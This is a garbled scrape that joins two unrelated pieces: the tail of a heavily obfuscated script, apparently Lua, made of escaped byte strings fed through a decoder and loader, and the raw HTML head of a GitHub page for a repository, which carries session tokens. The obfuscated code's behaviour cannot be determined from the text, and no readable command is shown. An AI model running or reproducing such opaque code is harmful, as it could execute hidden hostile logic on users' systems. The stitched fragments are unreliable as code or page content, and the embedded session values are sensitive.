79\69\116\88\69\106\119\90\0\1\11\0\0\0\0\146\23\237\0\95\0\221\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\129\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\18\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\0\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\12\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\6\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\3\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\16\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\14\1\0\0\1\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\7\0\9\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\5\0\0\0\115\65\84\122\0\203\23\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\18\42\23\34\6\44\16\39\21\0\203\5\0\0\0\121\79\86\123\0\203\7\0\0\0\114\77\86\107\72\93\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\96\78\71\126\72\94\0\203\7\0\0\0\90\80\86\109\76\103\0\203\5\0\0\0\114\105\89\107\0\203\5\0\0\0\118\72\86\109\0\203\4\0\0\0\102\89\89\0\203\4\0\0\0\123\69\64\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\6\0\0\0\67\65\69\120\88\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\93\69\86\123\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\5\0\0\0\114\65\90\122\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\86\72\66\113\64\0\1\11\0\0\0\0\146\23\237\0\253\0\240\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\65\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\16\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\13\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\4\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\11\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\0\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\15\1\0\0\1\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\1\0\18\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\4\0\0\0\121\69\89\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\5\0\0\0\114\65\90\122\0\203\23\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\23\46\18\44\13\45\18\33\28\0\203\7\0\0\0\102\73\77\122\68\83\0\203\5\0\0\0\91\65\90\122\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\5\0\0\0\93\69\86\123\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\5\0\0\0\115\65\84\122\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\6\0\0\0\97\65\85\115\78\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\1\11\0\0\0\0\146\23\237\0\55\0\95\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\205\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\3\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\13\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\9\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\17\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\8\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\0\1\0\0\4\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\1\0\3\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\76\123\68\79\80\121\49\111\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\114\115\94\101\78\65\0\203\7\0\0\0\103\65\64\120\78\65\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\5\0\0\0\114\65\90\122\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\93\84\67\111\108\80\127\0\1\11\0\0\0\0\146\23\237\0\121\0\205\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\219\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\2\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\8\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\11\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\1\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\12\0\0\0\7\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\8\0\23\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\24\0\0\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\8\0\0\0\81\69\68\107\89\90\114\0\203\6\0\0\0\67\65\69\120\88\0\203\7\0\0\0\116\83\68\122\89\65\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\116\83\68\122\89\65\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\114\115\67\109\66\91\108\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\5\0\0\0\93\69\86\123\0\117\0\0\0\0\0\0\240\63\203\8\0\0\0\114\69\67\120\78\91\125\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\13\0\0\0\65\82\86\113\88\69\106\102\90\124\108\70\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\96\78\71\126\72\94\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\114\65\90\122\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\53\66\78\107\78\0\1\32\0\0\0\0\146\23\237\0\160\0\198\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\234\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\12\0\0\0\1\5\0\0\0\0\4\0\0\0\0\175\23\38\0\0\0\16\0\0\0\2\0\0\0\28\128\128\0\0\5\0\0\0\0\118\37\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\6\0\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\15\1\0\0\11\1\0\4\9\192\65\131\0\7\0\0\0\1\4\183\0\0\0\12\0\0\0\1\5\0\0\0\0\1\5\38\0\0\0\5\0\0\0\2\0\0\0\28\128\128\0\0\1\6\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\1\6\38\0\0\0\0\0\0\0\22\1\0\3\6\0\66\0\0\0\168\1\38\0\0\0\0\0\0\0\1\1\0\3\11\64\66\0\0\8\0\0\0\0\228\8\38\0\0\0\2\0\0\0\7\0\0\0\28\64\0\1\0\9\0\0\0\1\4\183\0\0\0\12\0\0\0\1\5\0\0\0\0\1\5\38\0\0\0\3\0\0\0\2\0\0\0\28\128\128\0\0\1\6\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\1\6\38\0\0\0\0\0\0\0\22\1\0\3\6\0\66\0\0\1\8\38\0\0\0\0\0\0\0\1\1\0\3\11\64\66\0\0\1\9\38\0\0\0\2\0\0\0\13\0\0\0\28\64\0\1\0\0\225\5\38\0\23\0\2\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\34\0\0\0\203\10\0\0\0\44\16\5\38\31\7\59\45\12\0\203\38\0\0\0\125\84\67\111\17\26\36\102\80\112\99\80\70\14\127\77\120\16\125\84\98\72\71\59\1\98\69\33\38\24\29\49\26\34\43\45\45\0\203\7\0\0\0\114\115\94\101\78\65\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\2\0\0\0\36\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\14\0\0\0\71\73\80\119\95\121\100\99\90\96\67\90\89\0\203\13\0\0\0\65\82\86\113\88\69\106\102\90\124\108\70\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\203\10\0\0\0\44\16\5\38\31\7\59\44\6\0\203\7\0\0\0\114\98\94\107\88\13\0\203\10\0\0\0\65\69\79\107\94\71\110\93\123\0\203\7\0\0\0\114\77\86\107\72\93\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\7\0\0\0\102\84\69\118\69\82\0\203\4\0\0\0\102\89\89\0\203\10\0\0\0\71\73\80\119\95\115\100\123\75\0\203\42\0\0\0\125\84\67\111\17\26\36\99\72\101\33\77\81\66\112\77\109\17\127\72\124\2\82\103\77\110\85\51\32\65\75\52\23\33\42\45\33\4\47\47\62\0\203\23\0\0\0\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5\0\203\14\0\0\0\71\73\80\119\95\96\123\100\90\96\67\90\89\0\203\5\0\0\0\118\72\86\109\0\203\7\0\0\0\88\69\68\119\98\81\0\203\7\0\0\0\96\78\71\126\72\94\0\203\5\0\0\0\114\65\90\122\0\203\5\0\0\0\114\65\90\122\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\6\0\0\0\101\67\86\115\71\0\203\4\0\0\0\123\69\64\0\1\20\0\0\0\0\146\23\237\0\6\0\227\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\245\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\25\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\3\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\5\1\0\3\6\128\64\0\0\1\5\38\0\1\0\0\0\0\0\30\1\0\3\70\192\64\0\0\1\5\38\0\2\0\1\0\0\0\7\1\0\3\134\0\193\0\0\0\31\1\38\0\2\0\23\1\0\0\0\1\0\4\137\128\193\130\0\6\0\0\0\1\5\38\0\2\0\1\0\0\0\7\1\0\3\134\0\193\0\0\1\6\38\0\2\0\8\1\0\0\4\1\0\4\137\0\194\131\0\1\5\38\0\2\0\1\0\0\0\21\1\0\3\134\64\194\0\0\1\6\38\0\2\0\23\1\0\0\19\1\0\4\137\128\194\130\0\1\5\38\0\2\0\1\0\0\0\21\1\0\3\134\64\194\0\0\1\6\38\0\2\0\12\1\0\0\1\1\0\4\137\0\195\133\0\1\5\38\0\2\0\1\0\0\0\18\1\0\3\134\64\195\0\0\1\6\38\0\2\0\23\1\0\0\10\1\0\4\137\128\195\130\0\1\5\38\0\2\0\1\0\0\0\18\1\0\3\134\64\195\0\0\1\6\38\0\2\0\8\1\0\0\4\1\0\4\137\0\194\131\0\0\225\5\38\0\18\0\23\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))end;return d(c())end end end)({[-123.41276841798594]="HU1rOEkuH1NNdJ5Z3yKCJ8X0Xl";["fHWF7c7"]="Mc0tjlKj5sf8QhVIywL_Ujnu";[-104.10458573352068]="iHddjSrpjC0ATrTlz_NM";[405.0785930542498]="qqZ6j2u0Hp1";[407.37050810920624]="ZHPN36kKAI2oKej8hOAlLAs4KZs";["9Uzom"]="g6cAcrn2gFMOQu7Zu49PCsA43o2";[-145.43795953977573]="lQL4yiPGkZl";[-85.15277690907209]="60bOvj7kG";[85.53112331965713]="anpljcwukL13tgU4tvdCp";[-281.87316689761036]="nu5UvuLzxP4SS4ZY";[322.318342989022]="MP86KMEmwP4zw_P";["u0B79x"]="qajTXKR_oNgjrXfpH";["COu8JgxLGhU64rw_2IIfP3"]="eZnExr4PG95TDrCww";["sX8QCpwt"]="V1LeVZIUgGFAixId0ACK";[291.65274954228084]="Ztk8D2KQt";[-77.55135505516492]="Jzj8R76qGY";["K4jBufxQJfpjC2E29hTXKB7mTDrXx"]="G_M710LQHTB";["m2Mc98MuJCZBz3HUThKaeshABL2o"]="kqQgEZR7";["hHzvkTDTcj9nYWBqlOu8E"]="Upn1Bmq2K";[153.9810358866488]="CjeqaNtV";[-196.87944694023582]="Xcy4HjzJI76";["wlWPdGKlXgq"]="gW4choLYY7xG92yXwz9";[-200.5330320984226]="gY8p6m3vgb";[305.9727621357435]="ub7BbYPF7mF99MDL9WKPqk0s";["bkep6P"]="z_FHLBnHHCkddbpom84fuP";[37.1103344240891]="PXOFBf69";[-125.4288800204746]="CnDFfY6edz";["lazL8"]="XiMHo83m4ge";["OT_NEDUJ"]="Fi1e6R90";["h30mJOQgcGJXvDD7UYtolDHNn"]="xmzIzkr9GmHZJctHxmnZQ8iZOc";[110.51411935042438]="hLy1wWjZMLw";[-90.0460458520057]="mXYZitV8ry2ifB";[-249.08907447698027]="kqnlUdKnIAa8MSF";[300.595782321493]="CX0bM6CAgqHsHoSyZx";[1]=c();[18.614725045643556]="ENtSffZ5B";[-210.90406853419975]="tC_CbNtMGRsJ";["kqN2YKH5"]="g8rtqT8u0ZmXi";[114.75836277539071]="FveKwPKrv";[2]=a;[-101.29625214459625]="MUlx_ffJ103yoKcX";[-68.63070130850235]="Fb8uKSCC1m1Cc";[72.22743904961953]="F3PP8M8fPmra4n7u7oGGGlAW";[59.59411284959616]="KKlJD1H7TDvJdIt"})
GitHub Repo
https://github.com/NhaPhatHanh/github
NhaPhatHanh/github
<!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-7KjiGvJiLLy6LJPGf3m67ejAdgQsgDdnxZYoaI6+Agd0ZxHKTCjoKZgaf3PgUjURCcVceAwySJJJWgitRskDiA==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-eca8e21af2622cbcba2c93c67f79baed.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ZS0ILXChK0v6MFarr5VP2Qq916nqPSByfcud8IEvgXav8xbAAafFHX22IuZOi5/ZkKbLgOmqFkezGZVyANnFrQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-652d082d70a12b4bfa3056abaf954fd9.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ec37dkdwRxMnZ+C8WVJL5fX0MDw39MbZDqmjBB3JFemYXHZrq3E3F25pcbYUEmuB29eH0L5f+KOgO+FQNEFTgw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-79cdfb76477047132767e0bc59524be5.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-CzeY4A6TiG4fGZSWZU8FxmzFFmcQFoPpArF0hkH0/J/S7UL4eed/LKEXMQXfTwiG5yEJBI+9BdKG8KQJNbhcIQ==" type="application/javascript" src="https://github.githubassets.com/assets/environment-0b3798e0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ahOZvzpz/+SYFONmTAqBCwF04p4zvYweAHl7o69sVAwf0oxqMEyVZa//FnA859IbgU9lzj55LagjePKStkjwpw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-6a1399bf.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+1BN8W3XvQeL2HiktoDjb/NDm2W8tp9hDUb+NL4vabH/tvhdLZIdE9tYL3xRh6HDsc7JpvlTmu2m7CllRB+QYA==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-fb504df1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ujoCDv+gZj/v2aljXWMjKWNPoZ/QeENSASFGNBTO7smC7I/GC8hPqneWuaD2coIvzq6i7mLCLbg/SG39CdT1qA==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-ba3a020e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tjuNQcwhEIXGvVIG4XM/Aj4z+Od+NBRkbgWNwEMjGL3nsnAmdoBdbzsn/WTvl3hk+TPt1D0BvBLHLBPgiwvT2w==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-b63b8d41.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-+BKEtK9JkmJ52jKSoX6+SBrGV6kJxB8J/iAPkFQ/oeq8YekNcz7IZlJgM5Tddyx1RrkL3+sdG0tAy3YuFbYqfA==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-f81284b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EKOvqJ9uTatAt87WxU+OSS4mi7gMUszFbGo4aPErQkjpWLXnrPSeZvK5ngU8OYoIoiVOq+v8dA3C6MF/z2d/kA==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-10a3afa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zkYZSjUFqSifB+Lt76jclFMrfqpcPqevT801RZcoBNCZHRTBKcFrW9OyJoPOzKFv+fZVDRnqdqGsuIv5KOIgZg==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-ce46194a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6j/oSF+kbW+yetNPvI684VzAu9pzug6Vj2h+3u1LdCuRhR4jnuiHZfeQKls3nxcT/S3H+oIt7FtigE/aeoj+gg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-ea3fe848.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-N+ziqJjVMfWiqeVHdayDHpNRlG5HsF+cgV+pFnMDoTJuvBzgw+ndsepe4NcKAxIS3WMvzMaQcYmd2vrIaoAJVg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-37ece2a8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aiqMIGGZGo8AQMjcoImKPMTsZVVRl6htCSY7BpRmpGPG/AF+Wq+P/Oj/dthWQOIk9cCNMPEas7O2zAR6oqn0tA==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-6a2a8c20.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-G3/1Wo8nza2llJz848q++KJXUpeUuHcSDvXLcJzqQZDBLXm/PaOchsesQlyxX/3bXdasUpOE217R8Ln6vTqMHA==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-1b7ff55a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-XwuQdORq1W9Z+a/i72pH+NfR1rhwlGdxIlaIBbTciscGc/+McxMNLixGBp8e6Td4W1zzHvQ1Jyryl5gUfEr76g==" type="application/javascript" data-module-id="./chunk-insights-graph.js" data-src="https://github.githubassets.com/assets/chunk-insights-graph-5f0b9074.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-cdGVmQXhZYV6/Qj5QsArM/LjCG6qatgnsAE6W5y9UOHI+J2NdRU7l3IPlxh1zKNwgt5FWXnvrpyEIL7pc3aihg==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-71d19599.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-supZkxo+OPYLNtLXxI+e1dkCqVySu4FOWX1fiVVFs2ZggygppNsEz4F9wVp4YtH2TjFsZW8r/75uDUhPneO2sA==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-b2ea5993.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ma0OOy3nj0c1cqBx0BkcmIFsLqcSZ+MIukQxyEFM/OWTzZpG+QMgOoWPAHZz43M6fyjAUG1jH6c/6LPiiKPCyw==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-99ad0e3b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zh+tYYvd4W00us1O4PkhmKsl/CzInIyrdoMqV2xqC7XPu06UEHfEMJfOiwidJ5f80SwrdGWogWFuJzLHwRbRgA==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-ce1fad61.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Zii9oRdZ6q2QDNjL5A+me7jwJjMLvs1NiQNHmajUZnn4t9shcBDb4F8l/PQZW26eYfe5065oM7lIOSmbMinA7Q==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-6628bda1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-9WNXtB07IyWypiPmkuucspwog4mme9q5GKGMSgd7FI0DPimmg/pEw+aaAofFV1vuWMt9I8H5QpsVtlbHGg1YBA==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-f56357b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-fIq9Mn7jY/bHQXnsmh+VejpDnaO+d/FDxsp+4CuZtdNLrLuO+dQCjh+m6Yd8GCYD2Cy6DWbCEyM+mH2dkB2H9A==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-7c8abd32.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-WK8VXw3lfUQ/VRW0zlgKPhcMUqH0uTnB/KzePUPdZhCm/HpxfXXHKTGvj5C0Oex7+zbIM2ECzULbtTCT4ug3yg==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-58af155f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vgHJEmEJxNmHucGbVY8bEUoOYo5/ZwpQ69rU8Dld89daWJ54uad9lNptxq32F8pnbHhdngw9lohNEbMbjmj5AQ==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-be01c912.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aSxfTHAZj9wv7n08DxgAKkNg7jhiTo4yKKbDqLGxcDxUk/al571Y2ZSsOmLJ0Vh8cuAL8tW+JgX1t0JeKfyfaA==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-692c5f4c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FTzn67VUikEWGXoKpUjZgeuNXoI9NQXyuzSfVmtG0gFTy7QZykAwRn4RSvGXc/CPyWYkdiDNlbc0vtP9jfG61w==" type="application/javascript" src="https://github.githubassets.com/assets/dashboard-153ce7eb.js"></script> <meta name="viewport" content="width=device-width"> <title>GitHub</title> <meta name="description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta property="og:url" content="https://github.com"> <meta property="og:site_name" content="GitHub"> <meta property="og:title" content="Build software better, together"> <meta property="og:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="1200"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-mark.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-octocat.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="twitter:site" content="github"> <meta property="twitter:site:id" content="13334762"> <meta property="twitter:creator" content="github"> <meta property="twitter:creator:id" content="13334762"> <meta property="twitter:card" content="summary_large_image"> <meta property="twitter:title" content="GitHub"> <meta property="twitter:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="twitter:image:src" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="twitter:image:width" content="1200"> <meta property="twitter:image:height" content="1200"> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/83227313/ws?session=eyJ2IjoiVjMiLCJ1Ijo4MzIyNzMxMywicyI6Njg3OTQzNzU5LCJjIjoxNzgwMjY2MzEwLCJ0IjoxNjE5NTk4OTc0fQ==--c3828368f62e5243e4f48fa946e4cfc901339ea447cd91fb7d9c84f1f918ba2d" data-refresh-url="/_alive" data-session-id="434d9062d48df3ef96d852e9530bffcd43b5ef7fc95d10b99f9259a01724d4ae"> <link rel="shared-web-socket-src" href="/socket-worker-3f088aa2.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="869E:5293:1271A18:13DD4CF:60891E7B" data-pjax-transient="true" /><meta name="html-safe-nonce" content="8fff3e2bd7a4e7ef7b124494a7aecd900fa18b89ccc8e744b383b54609c6385b" data-pjax-transient="true" /><meta name="visitor-payload" 